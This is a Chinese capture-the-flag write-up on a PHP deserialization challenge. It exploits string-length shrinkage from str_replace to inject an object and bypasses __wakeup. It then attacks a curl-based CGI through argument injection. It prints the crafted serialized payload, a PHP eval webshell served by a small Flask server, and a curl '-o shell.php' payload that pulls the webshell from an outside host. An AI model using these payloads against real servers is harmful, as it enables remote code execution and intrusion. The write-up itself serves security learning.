一道反序列化的题目。
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
?>
有两个类,evil类中有一个hint.php注释,看样子是想办法得读取到hint.php的内容。
但是发现下面可以自由控制的变量只有User类中的两个变量,并不能直接输入反序列化后的字符串。
但是注意到再进行反序列化操作前,会对序列化字符串进行两次str_replace,将字符串中的\0\0\0
和chr(0)
相互替换。这一操作原本的用意是为了防止数据库无法处理NULL字节,但是加入我们构造用户名时输入转义字符\\0\\0\\0
,就不再是空字节,而是'\'+'0'
,这样依旧会被str_replace,但是字符串长度却由\0\0\0(6 bytes)
变成了chr(0)*chr(0)(3 bytes)
,知道了这点,再来看看php序列化的机制。
举一个简单的例子
<?php
class User
{
public $username;
public function __construct($username, $password){
$this->username = $username;
}
}
$user=new User("user");
var_dump(serialize($user));
?>
//string(67) "O:4:"User":1:{s:8:"username";s:4:"user";}"
写出来含义就是:
O:4:"User":1:{s:8:"username";s:4:"user";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
O:4:"User"指Object(对象) 4个字符:User
:1对象属性个数为1
{}中为属性字符数:属性值
其中不管是类名的长度还是属性的长度,只要对不上,就会报错。
原因在于PHP反序列化时是按照长度来读取数据,并不是按照正常的引号,分号来分割数据。
再看上面的题目,由于反序列化前使用了str_replace来处理字符串,如果用户输入了\0\0\0
,就会导致长度不正确,也就产生了溢出。
这样我们就可以通过构造Username和password来使其实例化evil类。
O:4:"User":2:{s:8:"username";s:60:"peri0d*********";s:8:"password";s:48:"1234";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}
username原长度为60,经过str_replace后长度变成33,也就是说unserialize函数还要再往后读取27个字节,这27个字节正好将";s:8:"password";s:48:"1234
读取到,最后的username是peri0d*********";s:8:"password";s:48:"1234
,后面的O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}";
当作对象继续反序列化。
还有一个小问题,evil类中的__wakeup会将hint变量重置,所以需要绕过,将evil后面的1改为2即可。
提交后得到一串base64字符串,解码后得到:
<?php
$hint = "index.cgi";
访问index.cgi,返回内容:
{
"args": {
"name": "Bob"
},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.72.0",
"X-Amzn-Trace-Id": "Root=1-602151c3-05680e9b21bbc22d5cec8acb"
},
"origin": "1.194.62.23",
"url": "http://httpbin.org/get?name=Bob"
}
应该是和命令执行有关,但是尝试了很多发现不行,最后在网上查到是利用curl的参数来getshell。flask搭建个简单的服务器:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask
from werkzeug.routing import BaseConverter
class RegexConverter(BaseConverter):
def __init__(self, map, *args):
self.map = map
self.regex = args[0]
app = Flask(__name__)
app.url_map.converters['regex'] = RegexConverter
@app.route('/<regex(".*"):url>')
def index(url):
return "<?php @eval($_POST['shell']);?>"
if __name__ == '__main__':
app.run(host='0.0.0.0')
让其返回一句话木马,放在公网ip上,通过-o参数,即可将其写入到服务器上。payload:
?name=%20http://ip:5000/ -o shell.php
最后使用蚁剑连接即可。
最后实验发现并不行,虽然返回的内容有一句话,但是无法写入到服务器上面。但可以直接通过file://读取文件,flag位置就在/flag
。